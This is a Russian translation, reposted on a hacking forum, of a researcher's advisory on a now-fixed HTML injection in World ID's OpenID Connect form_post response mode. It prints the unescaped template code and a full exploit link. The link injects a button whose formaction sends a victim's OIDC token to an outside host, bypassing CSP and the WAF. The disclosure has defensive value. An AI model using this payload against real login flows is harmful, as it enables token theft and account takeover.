Вход с World ID: XSS и ATO через режим ответа формы OIDC (OpenID Connect)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://security.lauritz-holtmann.de/advisories/tfh-form_post-xss-ato/
Перевод: BLUA специально для XSS.is

Недавно Tools for Humanity объединились с немецким клубом HackerOne, чтобы провести недельную виртуальную и очную встречу хакеров. В ходе встречи была обнаружена критическая уязвимость в реализации функции "Вход с World ID", которая затрагивала режим ответа form_post OpenID Connect и могла позволить злоумышленникам захватить учетные записи конечных пользователей в сторонних приложениях, использующих механизм "Вход с World ID". Уязвимость была устранена в течение нескольких часов после её выявления.

Функция "Вход с World ID" от Tools for Humanity реализует протокол OpenID Connect. Она поддерживает несколько режимов ответа, таких как query(запрос), fragment(фрагмент) и form_post(отправка формы).

response_mode
Нажмите, чтобы раскрыть...
Определяет, как будут возвращены код авторизации, ID token и/или токен доступа. Должно быть одно из следующих значений: query(запрос), fragment(фрагмент) или form_post(отправка формы). query поддерживается только для потока кода авторизации. По умолчанию используется query для потока кода авторизации и fragment для всех остальных.
Нажмите, чтобы раскрыть...

response_mode=form_post недостаточно кодировал и/или фильтровал параметр state, что привело к уязвимости межсайтового скриптинга (XSS), которая была заблокирована политикой безопасности контента (CSP). Однако, путем внедрения HTML без JavaScript, все еще было возможно обойти CSP и напрямую раскрыть значения токенов конечного пользователя произвольных приложений на контролируемый злоумышленником ресурс.

Вот как выглядела "точка погружения" XSS с точки зрения пользовательского агента:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>   
    <html>   
      [...]
      </head>   
      <body onload="submitForm()">   
        <form id="formRedirect" method="post" action="https://docs.worldcoin.org/try-callback">   
          <input type="hidden" name="token" value="eyJhbGciOiJS[...]" />,<input type="hidden" name="state" value="PAYLOAD" />   
          <[...]
        </form>   
      </body>   
    </html>

Точка погружения была обнаружена с помощью метода "черного ящика"; было тривиально просто выйти за пределы атрибута value. Это было вызвано следующим фрагментом кода:
Код: Скопировать в буфер обмена
Код:
[...]
  } else if (parsedParams.response_mode === OIDCResponseMode.FormPost) {
    const formHtml = ` 
    <!DOCTYPE html>   
    <html>   
      <head>   
        <script>   
          function submitForm() {   
            document.getElementById("formRedirect").submit();   
          }   
        </script>   
      </head>   
      <body onload="submitForm()">   
        <form id="formRedirect" method="post" action="${url}">   
          ${Array.from(result.url_params.entries()).map(
            ([key, value]) =>
              `<input type="hidden" name="${key}" value="${value}" />`
          )}   
          <noscript> 
            <button type="submit">Submit</button> 
          </noscript> 
        </form>   
      </body>   
    </html>
    `;

    return new NextResponse(formHtml, {
      headers: { "Content-Type": "text/html; charset=utf-8" },
    });
  }
[...]

Эксплуатация: Обход WAF и CSP

Пораженная конечная точка имеет достаточно строгую политику CSP и дополнительно защищена с помощью межсетевого экрана веб-приложений (WAF).
Нажмите, чтобы раскрыть...

Таким образом, простые XSS-пейлоады не сработали для раскрытия чувствительного кода (в типе ответа authorization_code) или id_token/access_token (в типе ответа token или id_token).

Это ограничение можно обойти, перехватив HTML-форму, которая уже используется для режима ответа form_post, путем внедрения кнопки с атрибутом formaction, который перезаписывает легитимное действие HTML-формы:
formaction
Нажмите, чтобы раскрыть...
URL, который обрабатывает информацию, отправленную кнопкой. Перезаписывает атрибут action владельца формы кнопки. Ничего не делает, если владельца формы нет.
Нажмите, чтобы раскрыть...
Нажмите, чтобы раскрыть...

Это позволяет нам построить следующую цепочку атаки.
1. Как жертва, перейдите по следующей ссылке: https://id.worldcoin.org/login?client_id=app_8ad4dd04557f8b768243904bf76d8db0&response_type=token&redirect_uri=https://lhq.at&scope=openid&state=)"><input+type=submit+value=Click!+formaction=//lauritz-holtmann.de>&nonce=test6&ready=test&response_mode=form_post
2. Отсканируйте QR-код и подтвердите действие через World App
3. В рамках сессии браузера (см. шаг 1) происходит перенаправление на следующую HTML-форму:
Код: Скопировать в буфер обмена
Код:
HTTP/2 200 OK
Date: Wed, 22 May 2024 14:35:21 GMT
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-be795666-8d17-4054-bb9a-1309578933a5' 'strict-dynamic'; font-src 'self' https://world-id-assets.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; connect-src 'self' https://app.posthog.com https://docs.worldcoin.org https://status.worldcoin.org https://bridge.worldcoin.org https://developer.worldcoin.org; img-src 'self' https://worldcoin.org https://world-id-assets.com
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url

   <!DOCTYPE html>   
    <html>   
      <head>   
        <script>   
          function submitForm() {   
            document.getElementById("formRedirect").submit();   
          }   
        </script>   
      </head>   
      <body onload="submitForm()">   
        <form id="formRedirect" method="post" action="https://docs.worldcoin.org/try-callback">   
          <input type="hidden" name="token" value="eyJhbGciOiJS[...]" />,
          <input type="hidden" name="state" value=""><input type=submit value=Click! formaction=//lauritz-holtmann.de>" />   
          <noscript> 
            <button type="submit">Submit</button> 
          </noscript> 
        </form>   
      </body>   
    </html>
4. Нажмите на вставленную кнопку:
tfh-xss1.png


5. Наблюдайте за POST-запросом к моему домену, включающим токен конечного пользователя:
tfh-xss2.png



Impact

Описанная уязвимость потенциально позволяла злоумышленникам получать чувствительные OIDC-токены, которые дают им возможность захватывать учетные записи конечных пользователей на сторонних сервисах, использующих механизм «Войти с World ID».

View hidden content is available for registered users!
 
Сверху Снизу